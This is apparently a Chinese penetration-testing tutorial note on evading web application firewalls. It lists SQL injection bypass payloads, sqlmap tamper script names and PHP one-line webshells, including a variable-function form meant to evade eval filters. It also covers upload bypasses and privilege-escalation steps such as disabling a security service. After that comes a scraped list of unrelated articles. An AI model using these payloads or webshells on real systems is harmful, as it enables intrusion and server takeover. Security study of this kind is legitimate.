渗透测试学习 二十八、WAF绕过详解
大纲:
WAF防护原理讲解
目录扫描绕过WAF
手工注入绕过WAF
sqlmap绕过WAF
编写salmap绕过WAF
过WAF一句话编写讲解
菜刀连接绕过WAF
webshell上传绕过WAF
提权绕过WAF
WAF绕过原理详解
知己知彼百战百胜
了解WAF防护原理
查看WAF防护位置
熟悉防护规则
了解防护机制
查看拦截时间阀值
目录扫描绕过WAF
两种方式:
1、修改客户端IP
2、减慢扫描速度
3、通过代理欺骗WAF
手工注入绕过WAF
搭建测试环境
了解绕过原理
熟悉常见绕过构造语句
构造绕过测试环境
搭建环境
利用mysql客户端
配置注入源码
注入绕过方法
1、大小写变种
2、SQL注释
3、URL编码
4、空字节
5、嵌套、剥离
6、非标准入口点
7、避开自定义过滤器
使用注释
union select 1,2,3 from admin
注释完
/**/union/**/select/**/1,2,3 from admin
/**/un/**/io/**/n/**/sel/**/ec/**/t/**/ 1,2,3 from admin
第二种注释
/*!and*/ 1=2
URL编码
正常编码
‘为%27
1=52f *=%2a %=%25
/**/=%25 2f%25 2a*1
空字节
一些过滤器处理输入时,碰到拿到空字节就会停止处理。
如:
id=1%00and1=2
嵌套剥离
一些过滤器将用户的输入进行剥离敏感函数
应对方法:
seleselectect
剥离后
select
总结编写绕过语句
利用注释
/*^abc^*/
包含关键字
/*!/*!/*!union*/
变换提交方式
get->post方式或cookie
sqlmap tamper利用
symboliclogical.py
space2mssqlhash.py
appendnullbyte.py
利用修改tamper绕过waf
尝试编写过waf一句话
思路:
利用可变变量
$a=b $b=c $$a=c
利用函数
利用判断语句
利用编码
<?php
@eval($_POST[x]);
?>
会拦截eval函数
<?php
@$_GET[a]($_post[x]);
?>
a:动态的传参,传eval函数或assert等函数
突破waf拦截连接菜刀
用最新版的菜刀
中国蚁剑
过狗菜刀+中转脚本
上传过waf
上传突破禁止上传PHP脚本
1、文件包含
2、双文件上传突破限制
3、修改上传参数
提权过waf
通过程序读密码
利用waf绕过神器
利用exp读hash
将用户添加到远程桌面组,并给目录降权
用第三方软件提权
system把安全狗服务停止,重启服务器
渗透测试学习 二十八、WAF绕过详解的更多相关文章
- 渗透测试学习 二十九、kali安装,信息搜集,服务器扫描
kali安装,信息搜集,服务器扫描 kali介绍 Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统.由Offensive Security Ltd维护和资助.最先由 ...
- 渗透测试学习 十七、 XSS跨站脚本漏洞详解
一般用途:拿cookie进后台,将后台地址一起发送过来 特点:挖掘困难,绕过困难 大纲: XSS漏洞基础讲解 XSS漏洞发掘与绕过 XSS漏洞的综合利用 XSS漏洞基础讲解 XSS介绍: 跨站脚 ...
- 渗透测试学习 二十、 其他漏洞汇总之PHP相关漏洞
大纲: PHP相关漏洞 JSP相关漏洞 其他漏洞汇总 PHP相关漏洞 文件包含漏洞 php://input等伪协议利用 代码执行漏洞 变量覆盖漏洞 文件包含漏洞 程序开发人员一般会把重复使用的函数写到 ...
- 渗透测试学习 二十二、getshell总结
大纲 管理员权限拿shell 普通权限拿shell 常见cms拿shell 进后台主要是可以对网站前台的内容,样式等做操作,要改脚本的内容的权限只有在webshell的权限下才可以(某些情况除外) ...
- 【原创】go语言学习(十八)反射详解
目录 变量介绍 反射介绍 结构体反射 反射总结以及应用场景 变量介绍 1.变量的内在机制 A. 类型信息,这部分是元信息,是预先定义好的B. 值类型,这部分是程序运行过程中,动态改变的 var arr ...
- Java开发学习(二十八)----拦截器(Interceptor)详细解析
一.拦截器概念 讲解拦截器的概念之前,我们先看一张图: (1)浏览器发送一个请求会先到Tomcat的web服务器 (2)Tomcat服务器接收到请求以后,会去判断请求的是静态资源还是动态资源 (3)如 ...
- 渗透测试学习 二十一、 JSP相关漏洞
大纲 ST2漏洞 (Struts2) 反序列漏洞 网站容器,中间键 其他漏洞 Struts2漏洞 简介: Struts2是一个基于MVC设计模式的Web应用框架,它本质上相 ...
- Python学习二十八周(vue.js)
一.指令 1.一个例子简单实用vue: 下载vue.js(这里实用1.0.21版本) 编写html代码: <!DOCTYPE html> <html lang="en&qu ...
- 渗透测试学习 二、Windows基础
系统目录 服务 端口 注册表 黑客常用DOS命令(在拿到shell时会用到) 一. 系统目录 Windows目录 系统的安装目录 System32àconfigàSAM文件 是用户密码的 ...
随机推荐
- springmvc 什么时候 set applicationContext 到 ServletConfig 的?
springmvc 什么时候 set applicationContext 到 ServletConfig 的? FrameworkServlet --> initWebApplicationC ...
- acwing 848 有向图的拓扑序列
地址 https://www.acwing.com/problem/content/description/850/ 题目描述给定一个n个点m条边的有向图,图中可能存在重边和自环. 请输出任意一个该有 ...
- IPFS入门
相关链接 快速安装 深入浅出 IPFS指令集中文版 IPFS开发入门 filecoin 在线视频 go-ipfs
- php 数组赋值
结果: 结论:第一种方式的运行速度是第二种方式的二倍左右.
- MySQL数据库查询所有表名
查找指定库中所有表名 select table_name from information_schema.tables where table_schema='db_name'; 注:替换db_nam ...
- ASP.NET 数据绑定
控件绑定数据源控件手动方式: DataSourceID = 数据源控件名称下拉框绑定 A.设置Datasource B.DataTextField="name"' //显示的值 C ...
- Redis for OPS 05:哨兵HA Sentinel
写在前面的话 上一节的主从环境能够解决我们保证数据安全性的问题,但是却无法解决我们在主节点挂掉的时候服务继续使用的问题,同时也不能自动切换新的主. 我们运维的目的肯定是希望即使主库挂掉一个,服务依旧能 ...
- AspNet Katana中Authentication有关的业务逻辑
我将从CookieAuthenticationMiddleware中间件的使用,来讲述cookie认证是如何实现的 1.系统是如何调用CookieAuthenticationMiddleware的 在 ...
- .net 调用C++ dll
.net C#调用C++ dll 主要分为以下的步骤 1.加载dll [DllImport("CallOtherLanguage.dll", EntryPoint = " ...
- Python入门36道经典练习题
[程序1] 题目:有1.2.3.4个数字,能组成多少个互不相同且无重复数字的三位数?都是多少? num_list=[] cou=0 for i in range(1,5): for j in rang ...